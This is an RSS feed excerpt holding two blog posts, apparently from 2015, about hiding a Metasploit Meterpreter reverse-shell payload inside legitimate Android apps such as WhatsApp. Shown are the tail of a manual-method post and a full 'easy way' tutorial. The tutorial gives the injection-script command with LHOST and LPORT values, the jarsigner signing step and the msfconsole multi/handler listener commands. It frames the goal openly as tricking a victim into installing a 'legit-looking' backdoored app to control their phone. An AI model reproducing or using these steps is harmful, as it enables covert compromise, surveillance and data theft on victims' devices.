&lt;p&gt;You will now have the compiled apk inside the &lt;code&gt;/root/original/dist&lt;/code&gt; directory. But, we’re still not done yet.&lt;/p&gt;
&lt;h3 id=&quot;step-7-sign-the-apk&quot;&gt;Step 7: Sign The APK&lt;/h3&gt;
&lt;p&gt;This is also a very important step, as in most of the cases, an unsigned apk cannot be installed. From developer.android.com —
​&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Android requires that all apps be digitally signed with a certificate before they can be installed. Android uses this certificate to identify the author of an app, and the certificate does not need to be signed by a certificate authority. Android apps often use self-signed certificates. The app developer holds the certificate’s private key.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In this case we are going to sign the apk using the default android debug key. Just run the following command&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ jarsigner -verbose -keystore &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;~&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA apk_path androiddebugkey&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Be sure to replace the &lt;code&gt;apk_path&lt;/code&gt; in the above command with the path to your backdoored apk file.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sumit-ghosh.com/images/posts/metasploit-apk-manually-screenshot-from-2015-12-19-202831.png&quot; alt=&quot;Screenshot from 2015-12-19 20:28:31&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;profit&quot;&gt;PROFIT?!&lt;/h3&gt;
&lt;p&gt;Now if you can get the victim to install and run this very legit-looking app in his phone, you can get a working Meterpreter session on his phone!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sumit-ghosh.com/images/posts/metasploit-apk-manually-screenshot-from-2015-12-19-204401.png&quot; alt=&quot;Screenshot from 2015-12-19 20:44:01&quot;&gt;&lt;/p&gt;
</content:encoded></item><item><title>Embed a Metasploit Payload in an Original .apk File | Part 1 — The Easy Way</title><link>https://sumit-ghosh.com/posts/embed-metasploit-payload-in-apk-easily/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/embed-metasploit-payload-in-apk-easily/</guid><description>Embed a Metasploit Payload in an Original .apk File | Part 1 — The Easy Way — by Sumit Ghosh.</description><pubDate>Fri, 11 Dec 2015 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;Hi Fellas! I’m sure most of you, or at least those who have set a foot in the kingdom of hacking, have heard of Metasploit. Don’t be disappointed if you haven’t, because you’re in the right track.&lt;/p&gt;
&lt;p&gt;From Wikipedia,&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The Metasploit Project is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development. Its best-known sub-project is the open source Metasploit Framework, a tool for developing and executing exploit code against a remote target machine. Other important sub-projects include the Opcode Database, shellcode archive and related research.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In a more informal language, it’s a tool which we can use to perform various kinds of hacks against a machine. The flagship payload which comes with the Metasploit Framework is the &lt;em&gt;Meterpreter&lt;/em&gt;, which also has an Android version that comes as an .apk file. In case you are wondering what a payload is, it’s a program we can install on a victim’s system to compromise it. Normally we have to install the Meterpreter payload in the victims phone by any means—usually involving Social Engineering—and when the victim runs the application, we would get a direct connection to that phone remotely and we can use it to wreak havoc on it.&lt;/p&gt;
&lt;p&gt;But since the payload app doesn’t look very legit, takes up only a few kBs, and doesn’t show anything when clicked on, the victim will probably uninstall it right away, or worse, wouldn’t install it at all. So we have to solve that problem.&lt;/p&gt;
&lt;p&gt;Here’s where this tutorial comes in. I’m gonna show you how to take any .apk file, be it WhatsApp or Amazon or SnapChat, and embed the Meterpreter payload in that apk. To the victim it will look and behave exactly as the original app, so he will use it regularly without any doubt, letting you do anything you want to his phone.&lt;/p&gt;
&lt;h3 id=&quot;pre-requisites&quot;&gt;Pre-requisites&lt;/h3&gt;
&lt;p&gt;Just to be clear, In this tutorial the operating system used is Kali Linux, which is a de facto standard OS for Penetration Testing—read, hacking. You should also install the latest version of &lt;em&gt;ApkTool&lt;/em&gt; and some libraries for the scripts to work properly.&lt;/p&gt;
&lt;p&gt;To install the required libraries, enter this command at the console —&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ sudo apt-get install lib32stdc++6 lib32ncurses5 lib32z1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And to get the latest version of &lt;em&gt;ApkTool&lt;/em&gt;, head over to &lt;a href=&quot;http://ibotpeaches.github.io/Apktool/install/&quot;&gt;this site&lt;/a&gt; and follow the installation instructions.&lt;/p&gt;
&lt;h3 id=&quot;step-1&quot;&gt;Step 1&lt;/h3&gt;
&lt;p&gt;First of all grab the original apk from any of the numerous websites available. Just do a google search “app_name apk download” and Google will come up with a lot of results. Save that apk in any folder, in this tutorial I will use the Root folder and a &lt;code&gt;WhatApp.apk&lt;/code&gt; as example.&lt;/p&gt;
&lt;h3 id=&quot;step-2&quot;&gt;Step 2&lt;/h3&gt;
&lt;p&gt;Download the Ruby script from &lt;a href=&quot;https://github.com/SkullTech/apk-payload-injector&quot;&gt;this link&lt;/a&gt; and save it in the same folder as that of the original apk.&lt;/p&gt;
&lt;h3 id=&quot;step-3&quot;&gt;Step 3&lt;/h3&gt;
&lt;p&gt;Open a terminal, and type the following command:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ ruby apk-embed-payload.rb WhatsApp.apk -p android/meterpreter/reverse_tcp LHOST&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;192.168.0.104&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; LPORT&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;4895&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this example I’ve used 192.168.0.104 as the Local IP address, i.e. your IP address and 4895 as the port on your Computer through which the Meterpreter payload will connect back to you. Make sure to change it to the appropriate values, especially the IP, the &lt;code&gt;LPORT&lt;/code&gt; can be set to any reasonable port no.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;NOTE&lt;/em&gt;. If you are going to conduct this attack over the internet, be sure to put your public IP, not your local IP, in the &lt;code&gt;LHOST&lt;/code&gt; option. You also may need to forward the port you’re using for this attack to work properly.&lt;/p&gt;
&lt;p&gt;Once you run the command, if you are lucky, the script will do everything by itself and complete the whole process. But more than often it cannot determine to which Activity of the app it should bind the payload to, so it asks you to select it. In that case, leave the terminal open with the script at the prompt, and browse to &lt;code&gt;/root/original&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Then open the &lt;code&gt;AndroidManifest.xml&lt;/code&gt; file using any text editor you like and look for an &lt;code&gt;&amp;lt;activity&amp;gt;&lt;/code&gt; tag which contains both the texts &lt;code&gt;.MAIN&lt;/code&gt; and &lt;code&gt;.LAUNCHER&lt;/code&gt;. When you find that tag, look for the &lt;code&gt;android:name&lt;/code&gt; attribute of that tag and from there, note the name of that Activity.&lt;/p&gt;
&lt;p&gt;At the prompt of the Ruby script, enter the number corresponding to the Activity name you had noted previously and press Enter.&lt;/p&gt;
&lt;p&gt;This is the hardest step of all, so I’m posting some screenshots to make your life easier.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sumit-ghosh.com/images/posts/metasploit-apk-easily-screenshot-from-2015-12-12-01-44-01.png&quot; alt=&quot;Screenshot from 2015-12-12 01-44-01&quot;&gt;
&lt;img src=&quot;https://sumit-ghosh.com/images/posts/metasploit-apk-easily-screenshot-from-2015-12-12-01-43-27.png&quot; alt=&quot;Screenshot from 2015-12-12 01-43-27&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;profit&quot;&gt;PROFIT?!&lt;/h3&gt;
&lt;p&gt;If you did everything correctly, you should now get an .apk file in your root directory with the name &lt;code&gt;backdoored_WhatsApp.apk&lt;/code&gt;. It will install and run just like the original app.&lt;/p&gt;
&lt;p&gt;As for the listener, you should use &lt;code&gt;multi/handler&lt;/code&gt; and set the corresponding options accordingly. Just run the following commands —&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;msfconsole&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;use multi/handler&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;set PAYLOAD android/meterpreter/reverse_tcp&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;set LHOST 192.168.0.104&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;set LPORT 4895&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;exploit&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now wait for the victim to run the app, when he does it, you will get a Meterpreter prompt in the terminal!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sumit-ghosh.com/images/posts/metasploit-apk-easily-screenshot-from-2015-12-18-143255.png&quot; alt=&quot;Screenshot from 2015-12-18 14:32:55&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;note&quot;&gt;Note&lt;/h3&gt;
&lt;p&gt;You must have noticed I haven’t explained anything, rather asked you to blindly follow. As none of us wants to be a script-kiddie, we will learn how to do this manually in the next article. To be honest, I didn’t know how to successfully implement this until I found this script. After I saw that this script does what it promises, I learned the process by reverse-engineering it. Let us set that story apart for another article.&lt;/p&gt;
&lt;p&gt;If you face any problem, don’t forget to mention it in the comments. I’ll try to help you in any way I can.&lt;/p&gt;
&lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;
&lt;p&gt;I found the script from the comments section of a thread in &lt;em&gt;NullByte&lt;/em&gt;, so thanks to the guy who shared it, I’m sorry I don’t remember which thread it was or who the guy was. And credit of making this script goes to &lt;em&gt;timwr&lt;/em&gt; and &lt;em&gt;Jack64&lt;/em&gt;.&lt;/p&gt;
</content:encoded></item></channel></rss>